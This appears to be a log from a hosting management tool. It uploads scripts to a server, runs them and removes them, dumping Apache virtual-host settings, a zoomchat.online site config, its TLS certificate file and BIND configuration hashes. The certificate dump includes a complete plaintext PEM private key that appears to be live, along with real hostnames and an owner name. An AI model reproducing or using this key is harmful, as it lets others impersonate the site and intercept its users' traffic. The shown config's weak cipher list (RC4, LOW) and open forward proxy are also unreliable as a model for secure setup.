MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 19:20:47: Establishing a connection
2026-01-03 19:20:48: 

PUT: /tmp/pkp375904

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-03 19:20:49: 

chmod 755 /tmp/pkp375904; /tmp/pkp375904; rm /tmp/pkp375904

2026-01-03 19:20:49: 


[Sat Jan 03 19:20:49.664833 2026] [so:warn] [pid 2457889:tid 139772152539456] AH01574: module status_module is already loaded, skipping
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:2)
         port 80 namevhost voip.patientapps.net (/etc/httpd/conf.d/patientapps.conf:1)
         port 80 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:2)
         port 80 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:2)
                 alias www.zoomchat.online
*:443                  is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:29)
         port 443 namevhost messier.pjy.us (/etc/httpd/conf.d/ssl.conf:40)
         port 443 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:31)
         port 443 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:30)
                 alias www.zoomchat.online
ServerRoot: "/etc/httpd"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/etc/httpd/logs/error_log"
Mutex proxy-balancer-shm: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex authdigest-client: using_defaults
Mutex lua-ivm-shm: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex authn-socache: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/etc/httpd/run/" mechanism=default 
Mutex cache-socache: using_defaults
Mutex authdigest-opaque: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/etc/httpd/run/httpd.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="asterisk" id=1000
Group: name="asterisk" id=1000
.




STDERR:
[Sat Jan 03 19:20:49.664833 2026] [so:warn] [pid 2457889:tid 139772152539456] AH01574: module status_module is already loaded, skipping


2026-01-03 19:20:49: 

PUT: /tmp/pkp284232

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/httpd/conf.d/zoomchat_www_online.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 19:20:50: 

chmod 755 /tmp/pkp284232; /tmp/pkp284232; rm /tmp/pkp284232

2026-01-03 19:20:50: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_online.conf	2243

<VirtualHost *:80>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.zoomchat.online
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.zoomchat.online
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    ProxyRequests	On
    RewriteEngine	On
    <Location /ws/>
        ProxyPass	ws://localhost:9512/
        ProxyPassReverse	ws://localhost:9512/
    </Location>
    
    <Location /wsx/>
        ProxyPass	http://localhost:9512/
        ProxyPassReverse	http://localhost:9512/
    </Location>
    
    CustomLog	/var/log/httpd/zoomchat/www_secure_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-01-03 19:20:50: 

PUT: /tmp/pkp923862

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 19:20:51: 

chmod 755 /tmp/pkp923862; /tmp/pkp923862; rm /tmp/pkp923862

2026-01-03 19:20:51: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt	5374
e6:00:1e:64:48:42:03:24:03:09:b8:81:33:98:64:25

-----BEGIN CERTIFICATE-----
MIIFDTCCA/WgAwIBAgISBiv8qJ1zIejUMZHqU91B/Sg4MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjI3MDUwMTQ4WhcNMjYwMzI3MDUwMTQ3WjAaMRgwFgYDVQQD
Ew96b29tY2hhdC5vbmxpbmUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCmglMA5SSW+f2p0k1SSrwZuMyLhPqOEKrO3WZA3a7QRbMCbQ+XR9EpctwnBaB1
Gj7FrlGh9OfdWOanbj3WwqP82mifDLBuMna5PyqOhop9hv5VZi+pG68a+qToRdd9
7nXeAVXK/n+VwRwJQeFoxauQWtlR+EOgmzUrSaosJQpgTZwXiz2SDFrE32RG76Kg
o9Bb446v0FJiYp7ZkuwmGkOym0f+iZnQZlcXVipK9aWgQU6HSPe5Q7XKT0/wf+Vy
htbVqpzrmM6gbTMMOJ+SG3NWxOB8GcFPnKqu5tKGkSM4JlWbk8pw49J51+sA09uG
/CS5QWHHI8xiu8rJoLsLAuM1AgMBAAGjggIyMIICLjAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFAC+o6alPADzhE3FEJu3T8kjE4phMB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wLwYDVR0RBCgwJoITd3d3Lnpvb21jaGF0Lm9ubGlu
ZYIPem9vbWNoYXQub25saW5lMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQn
MCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNTcuY3JsMIIBAgYKKwYB
BAHWeQIEAgSB8wSB8ADuAHUAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9
zfAAAAGbXmS9nwAABAMARjBEAiAIP7Lqgs8AixnRojRntLA7hx05kFDXSMoeq9z+
wG7MCwIgJylvbYdXeyDcUhAkjh8BEf4L04q1VvWRxN4OyKTDoz0AdQDLOPcViXyE
oURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZteZL27AAAEAwBGMEQCICQRAuWR
g9GhRpDo7ADhwJh+RdO/lzhPV2MtOr3a61TvAiB+NhfmT6chP6S3feJMx5He6UjO
yNURsoOIifnetoBNWTANBgkqhkiG9w0BAQsFAAOCAQEAHFPdrG05uHwZA64uvukk
jkOMty5xXNKCdiPblhIsv4hwVIFL5UBhe837Epe9/68fnt+iOrNHf6EjWMXg+N80
2CpA4fAHTFBYELFdrHjZu6XZUG3fiFBJgQ5nA+bk/yovj9mjZEQCIY7EIF+2m/SW
rf+FtCIO0FyppBHAAy7lCjPMGpBKVEPQjZHN18czIjJQNmqjv1fqplWFXGGu/ll6
EnOgo5+N9I3KOv1cX3D41kMle2087w2yYyZPoQTxezXJ/MIUgMXBnsTVXPMVU/GC
WfuVZZzx4tHXX3ssaaluEMHVFZZmU/turFRfLk8QzYBCdsBitEq/3ZPwXcG3Bdfv
Rw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCmglMA5SSW+f2p
0k1SSrwZuMyLhPqOEKrO3WZA3a7QRbMCbQ+XR9EpctwnBaB1Gj7FrlGh9OfdWOan
bj3WwqP82mifDLBuMna5PyqOhop9hv5VZi+pG68a+qToRdd97nXeAVXK/n+VwRwJ
QeFoxauQWtlR+EOgmzUrSaosJQpgTZwXiz2SDFrE32RG76Kgo9Bb446v0FJiYp7Z
kuwmGkOym0f+iZnQZlcXVipK9aWgQU6HSPe5Q7XKT0/wf+VyhtbVqpzrmM6gbTMM
OJ+SG3NWxOB8GcFPnKqu5tKGkSM4JlWbk8pw49J51+sA09uG/CS5QWHHI8xiu8rJ
oLsLAuM1AgMBAAECggEAAVktapV/ribHWwUogd8fy79J9Wk5s6pOn/piWj9hUD6Q
0UfwHi44qhv2m+zPOkrFPyU/W7g7cqyeqH3KxZHzSbIkE90qNxvxn8WqKcKcIIMf
OtD5Y/KrGOsU8WxVXNuRwgmykDEZqNfNL7Alx11cOeiQtk8PoWuEhlX2k+Wsv0CS
eQywoKfQnTsuU0tl7ZixGhVIthkxCF7oqk0F8OjVmIsd/6mDxP+yzTXBcwivP3nz
lxtWyjiCn1SdPtoHfr2aE5dmhHKNMpxYPynF/4pD7ntw4QXDueLCVyn3TlDKLD5N
lljG4QQI+EKRhbJvfIIDugVvcsamT5FpjaYKGISsAQKBgQDf2FWeC+gytIP/xcY5
ChxXb02vrQbNjAbBIXXRUokkPyDvjXQWTS3o2hsX+ZJVd2dEqevBKWCvtmGYBpTw
cJ1BEC0UeQM41RRs8EtUn+gtFQPGyREJ1QOFowoxIWhTo1r/00GwQtdf1JkBSJGk
M4pyFyz55KV+i4lUVDH4e4UPNQKBgQC+bYUPuRshjun3Rk0fKpRAapH8Iv+Y1mj3
AZGF4NTgmv5Rs/Y4gHNiCMvIgZiDuaucn5/7C6UIglY4ZHhv5rtY+pGnghLHXGbo
Ano4FGWSCCYB9bSZfMO55cXEM/8nXq0Psj4iqgQGT/MSaQOEFJFbyZu+xCRvrKm9
0NbLwV0EAQKBgFZAwPTud6GaJ0bWSYRPHg6e59tqm7V2YF/o6cInwIqD/MfxxKqX
QLp52HjLhRSDtvohU6ORsxzh9Qckeh2P9zhL6GL8Ij6y9HTpvs0z9L3yXAssDPGx
7/J9mX7G9bFMv9LV73jguKbHf9GbyerwpUdDIOSFszNoxxkEfGDYD7SFAoGAGCJl
RNLe/2fPe0lrqNGKrIdVLTF6V3KFJxkJyn/uOvEp3k0CnbKZ7QjUWvshy0AS4ezR
J84YAnYSW19QbE4/3E0VfLddjerGGA2IU+cx4EosFv9+/hzz6XGXmQBGDEVRhbW/
bkFB9VLYqbKpgWnh6lIo7QqK26R0dtwq/PPqyAECgYB1OVqOwttvjGFPdyozz0Yr
a7a18LVeRAqHgHatvD17266NK/OM9haGVgHhUEZZwBQ8shhue9MKh4HsafRshNmS
nwR56KqHvuvC5/2HzTxqLvqdlbcGdF2Za1uYxWH3lI1o/C2trCIM+E1Pub/AJRCa
I/imWmG/liI6lszAEAnnUA==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-01-03 19:20:51: Establishing a connection
2026-01-03 19:20:51: 

PUT: /tmp/pkp382468

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 19:20:52: 

runuser -l bind -s /bin/bash -c '/tmp/pkp382468; rm /tmp/pkp382468'

2026-01-03 19:20:52: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
